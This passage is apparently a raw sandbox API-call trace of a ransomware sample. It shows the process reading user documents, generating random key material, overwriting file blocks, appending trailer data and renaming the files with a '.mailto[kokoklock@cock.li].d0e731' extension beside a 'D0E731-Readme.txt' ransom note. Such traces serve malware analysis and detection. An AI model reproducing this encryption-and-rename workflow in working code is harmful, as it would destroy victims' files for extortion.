RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b38) returned 1 [0178.421] CloseHandle (hObject=0x6f4) returned 1 [0178.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x2fe2010 [0178.421] wcscpy (in: _Dest=0x2fe2010, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" [0178.421] wcscat (in: _Dest=0x2fe2010, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.421] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.422] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2010) returned 1 [0178.423] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.423] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f8bc90 [0178.424] wcscpy (in: _Dest=0x2f8bc90, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0178.424] wcscat (in: _Dest=0x2f8bc90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0178.424] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0178.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bc90) returned 1 [0178.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4670) returned 1 [0178.424] RtlExitUserThread (Status=0x1) Thread: id = 2744 os_tid = 0x978 [0178.425] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.426] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.426] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2caffdf0 | out: lpFileSize=0x2caffdf0*=101048) returned 1 [0178.426] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x18ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.426] ReadFile (in: hFile=0x6f4, lpBuffer=0x2caffdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2caffdc0, lpOverlapped=0x0 | out: lpBuffer=0x2caffdc4*, lpNumberOfBytesRead=0x2caffdc0*=0x4, lpOverlapped=0x0) returned 1 [0178.428] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.428] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.428] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.428] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b38 [0178.428] NtQuerySystemTime (in: CurrentTime=0x2caffd9c | out: CurrentTime=0x2caffd9c*=132121213357499285) returned 0x0 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xe0346134 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x8772257b [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x60b07870 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x23b3e9c8 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xdf27df37 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x9934c307 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x625f996b [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xe0d37c9e [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xffa84d4a [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x54e3e919 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x9c7b9a05 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xb6d2bf48 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xe43d3439 [0178.428] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x7ecdee89 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xb1e4e724 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x52d47d57 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xe5fbdd0b [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x376e722 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xfe6015f2 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x1943610c [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xc79776db [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x7a65eb3f [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x3fc1743a [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x26bba9c [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x1d633692 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x88f63d07 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xdb7af654 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0xc2f6f9c6 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x29cfd646 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x9e8c33f0 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x51f647e1 [0178.429] RtlRandom (in: Seed=0x2caffda8 | out: Seed=0x2caffda8) returned 0x6f0f5b0c [0178.443] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.444] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2caffd74, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2caffd74*=0x4096, lpOverlapped=0x0) returned 1 [0178.445] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88eb0 [0178.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b88 [0178.445] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b88) returned 1 [0178.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b88 [0178.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97cc8 [0178.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97cc8) returned 1 [0178.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88eb0) returned 1 [0178.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.446] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2caffd74, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2caffd74*=0x4096, lpOverlapped=0x0) returned 1 [0178.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.446] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x18ab8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.446] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2caffdac, lpOverlapped=0x0 | out: lpBuffer=0x2f97b88*, lpNumberOfBytesWritten=0x2caffdac*=0x20, lpOverlapped=0x0) returned 1 [0178.447] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b88) returned 1 [0178.447] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.447] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2caffdc0, lpOverlapped=0x0 | out: lpBuffer=0x2f97b60*, lpNumberOfBytesWritten=0x2caffdc0*=0x8, lpOverlapped=0x0) returned 1 [0178.447] WriteFile (in: hFile=0x6f4, lpBuffer=0x2caffdd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2caffdc0, lpOverlapped=0x0 | out: lpBuffer=0x2caffdd8*, lpNumberOfBytesWritten=0x2caffdc0*=0x4, lpOverlapped=0x0) returned 1 [0178.447] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2caffdc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2caffdc0*=0x4, lpOverlapped=0x0) returned 1 [0178.447] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2caffdc0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2caffdc0*=0x6c, lpOverlapped=0x0) returned 1 [0178.447] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2caffdc0, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2caffdc0*=0x20, lpOverlapped=0x0) returned 1 [0178.447] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2caffdc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2caffdc0*=0x4, lpOverlapped=0x0) returned 1 [0178.448] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.448] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.448] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b60) returned 1 [0178.448] CloseHandle (hObject=0x6f4) returned 1 [0178.448] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x4f00890 [0178.448] wcscpy (in: _Dest=0x4f00890, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" [0178.448] wcscat (in: _Dest=0x4f00890, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.448] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\pzkemsxftrogt1vr6p7y.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.449] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00890) returned 1 [0178.450] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.450] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f8b690 [0178.450] wcscpy (in: _Dest=0x2f8b690, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0178.450] wcscat (in: _Dest=0x2f8b690, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0178.450] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0178.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b690) returned 1 [0178.450] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d098) returned 1 [0178.450] RtlExitUserThread (Status=0x1) Thread: id = 2745 os_tid = 0x484 [0178.451] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.452] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.452] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.452] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2cb7fe80 | out: lpFileSize=0x2cb7fe80*=87538) returned 1 [0178.452] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x155ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.452] ReadFile (in: hFile=0x6f4, lpBuffer=0x2cb7fe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cb7fe50, lpOverlapped=0x0 | out: lpBuffer=0x2cb7fe54*, lpNumberOfBytesRead=0x2cb7fe50*=0x4, lpOverlapped=0x0) returned 1 [0178.454] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.454] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b60 [0178.454] NtQuerySystemTime (in: CurrentTime=0x2cb7fe2c | out: CurrentTime=0x2cb7fe2c*=132121213357655725) returned 0x0 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x50baac86 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x9aa3ad4b [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xd6728cec [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xf95dab45 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xc8663cd [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x24653713 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x5ec26c59 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x894b22a8 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x993ad7ef [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xa54f2b3d [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xe8d171f1 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x16463605 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x79deda90 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xc6530387 [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x743a0e6c [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xaa3e808b [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x99a8c6df [0178.454] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0xc614c21 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x7407d683 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x99651c63 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x6257ada9 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x9985242f [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x22046b41 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x8f9d0c9c [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x90727c73 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x348e4b03 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x4b0ab13e [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x5c381d19 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x18eea0d9 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x78feabe5 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x5aa46f96 [0178.455] RtlRandom (in: Seed=0x2cb7fe38 | out: Seed=0x2cb7fe38) returned 0x9976cece [0178.483] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.483] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2cb7fe04, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2cb7fe04*=0x4096, lpOverlapped=0x0) returned 1 [0178.485] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88eb0 [0178.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97bb0 [0178.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97bb0) returned 1 [0178.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97bb0 [0178.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97cc8 [0178.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97cc8) returned 1 [0178.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88eb0) returned 1 [0178.486] 